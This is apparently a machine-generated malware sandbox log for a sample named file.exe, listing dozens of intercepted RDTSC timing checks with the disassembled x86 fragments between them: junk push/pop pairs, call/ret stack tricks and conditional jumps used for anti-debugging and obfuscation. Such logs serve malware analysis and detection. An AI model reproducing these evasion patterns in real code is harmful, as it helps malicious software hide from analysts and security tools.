                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A54C83 second address: A54C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jno 00007EFD08B70876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007EFD08B70876h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A53D40 second address: A53D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A53D45 second address: A53D4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A54573 second address: A54588 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D543FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop esi 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A54588 second address: A545A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFD08B70884h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A565BB second address: A565BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A565BF second address: A565D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08B70885h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A565D8 second address: A565DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A565DE second address: A565E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A56723 second address: A5672D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFD08D543FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A56834 second address: A56839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A56839 second address: A5687C instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFD08D543F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jbe 00007EFD08D54404h 0x00000013 nop 0x00000014 mov dword ptr [ebp+122D2779h], eax 0x0000001a push 00000000h 0x0000001c mov edx, 6EA7AFA0h 0x00000021 push CE367323h 0x00000026 pushad 0x00000027 pushad 0x00000028 push edi 0x00000029 pop edi 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d jo 00007EFD08D543FCh 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5687C second address: A568D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 31C98D5Dh 0x0000000c mov dword ptr [ebp+122D55D1h], ebx 0x00000012 push 00000003h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007EFD08B70878h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov edx, esi 0x00000030 push 00000000h 0x00000032 or dword ptr [ebp+122D1BD0h], eax 0x00000038 push 00000003h 0x0000003a push ecx 0x0000003b xor dword ptr [ebp+122D3456h], edx 0x00000041 pop edx 0x00000042 mov dword ptr [ebp+122D322Ch], ebx 0x00000048 push 9DDC411Fh 0x0000004d pushad 0x0000004e push ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A68AA6 second address: A68AC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFD08D54403h 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A75AEA second address: A75B0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08B70886h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007EFD08B70876h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A75ED8 second address: A75EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A75EDC second address: A75EE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A75EE0 second address: A75EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7618A second address: A761A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08B70887h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7694B second address: A76994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08D54401h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFD08D54408h 0x00000014 jmp 00007EFD08D54406h 0x00000019 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A76994 second address: A769AF instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFD08B70876h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007EFD08B7087Fh 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7C038 second address: A7C03E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7C03E second address: A7C045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7E5B0 second address: A7E5B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7E5B6 second address: A7E5C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFD08B7087Ch 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7E5C6 second address: A7E5DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jc 00007EFD08D54408h 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007EFD08D543F6h 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7E5DD second address: A7E5E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7E74C second address: A7E760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jng 00007EFD08D543F6h 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7E760 second address: A7E766 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8552D second address: A85531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8569C second address: A856AE instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFD08B70876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007EFD08B70876h 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A85F21 second address: A85F25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A87E97 second address: A87ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 242D21A9h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007EFD08B70878h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 call 00007EFD08B70879h 0x0000002c push esi 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A87ED2 second address: A87F10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a jmp 00007EFD08D543FEh 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jmp 00007EFD08D54408h 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A88086 second address: A8808A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A88219 second address: A88228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A88228 second address: A8822C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A88684 second address: A8868A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8868A second address: A8869D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007EFD08B70878h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A88766 second address: A8876A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8876A second address: A88783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFD08B70885h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A88783 second address: A88787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A88F44 second address: A88F4E instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFD08B70876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A88F4E second address: A88F53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A89077 second address: A8908F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFD08B70884h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A89318 second address: A8931E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8931E second address: A89325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A89800 second address: A89804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A89804 second address: A89808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A89808 second address: A8984B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007EFD08D543F8h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 xor edi, dword ptr [ebp+122D2B66h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a mov edi, dword ptr [ebp+122D27EEh] 0x00000020 clc 0x00000021 xchg eax, ebx 0x00000022 push edx 0x00000023 jns 00007EFD08D543FCh 0x00000029 pop edx 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007EFD08D543FEh 0x00000032 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8A1F1 second address: A8A1F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8A1F5 second address: A8A211 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D54408h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8A211 second address: A8A21F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFD08B7087Ah 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8A21F second address: A8A25D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D543FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edi, 09BB89C0h 0x00000011 push 00000000h 0x00000013 jmp 00007EFD08D54406h 0x00000018 push 00000000h 0x0000001a movzx esi, si 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jne 00007EFD08D543F6h 0x00000028 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8A25D second address: A8A261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8A261 second address: A8A267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8A267 second address: A8A276 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8A276 second address: A8A27A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8A27A second address: A8A280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8A280 second address: A8A286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B331 second address: A8B337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B337 second address: A8B347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B347 second address: A8B34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B34B second address: A8B3C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov esi, dword ptr [ebp+122D29C6h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007EFD08D543F8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a jns 00007EFD08D54400h 0x00000030 mov dword ptr [ebp+1247B274h], ecx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007EFD08D543F8h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 mov si, cx 0x00000055 mov edi, dword ptr [ebp+1244E478h] 0x0000005b xchg eax, ebx 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B3C4 second address: A8B3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B3C8 second address: A8B3DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jbe 00007EFD08D54408h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B3DA second address: A8B3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B3DE second address: A8B3E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8BBB6 second address: A8BBEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007EFD08B70876h 0x00000009 jmp 00007EFD08B70888h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jne 00007EFD08B7087Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8BBEC second address: A8BBF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C845 second address: A8C849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C5AD second address: A8C5B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C849 second address: A8C8B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a xor di, A761h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007EFD08B70878h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b ja 00007EFD08B7087Eh 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007EFD08B70878h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d jp 00007EFD08B7087Ch 0x00000053 xchg eax, ebx 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 push ecx 0x00000058 pop ecx 0x00000059 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C8B9 second address: A8C8DB instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFD08D543F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007EFD08D54402h 0x00000010 jmp 00007EFD08D543FCh 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8DE40 second address: A8DEB4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFD08B7087Ch 0x00000008 jne 00007EFD08B70876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov dword ptr [ebp+1246E2B8h], edx 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007EFD08B70878h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 je 00007EFD08B7087Ch 0x0000003b mov dword ptr [ebp+122D259Dh], edi 0x00000041 push 00000000h 0x00000043 call 00007EFD08B7087Ch 0x00000048 adc di, 5600h 0x0000004d pop esi 0x0000004e xchg eax, ebx 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007EFD08B70889h 0x00000057 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8DEB4 second address: A8DEDA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFD08D54409h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8DEDA second address: A8DEDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8E8EB second address: A8E8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8E8EF second address: A8E8FD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007EFD08B70876h 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A90042 second address: A90048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A90048 second address: A90053 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007EFD08B70876h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A90053 second address: A900D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007EFD08D543F8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D22E2h], edx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007EFD08D543F8h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 mov dword ptr [ebp+122D352Eh], edx 0x0000004a jmp 00007EFD08D54406h 0x0000004f push 00000000h 0x00000051 push ecx 0x00000052 mov di, si 0x00000055 pop ebx 0x00000056 push eax 0x00000057 jp 00007EFD08D54416h 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A900D6 second address: A900DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A90EB4 second address: A90EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007EFD08D54409h 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov bh, 3Ch 0x00000014 push 00000000h 0x00000016 or ebx, dword ptr [ebp+122D2438h] 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+1244E401h], eax 0x00000024 xchg eax, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 jp 00007EFD08D543F8h 0x0000002d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A91FBD second address: A91FC3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
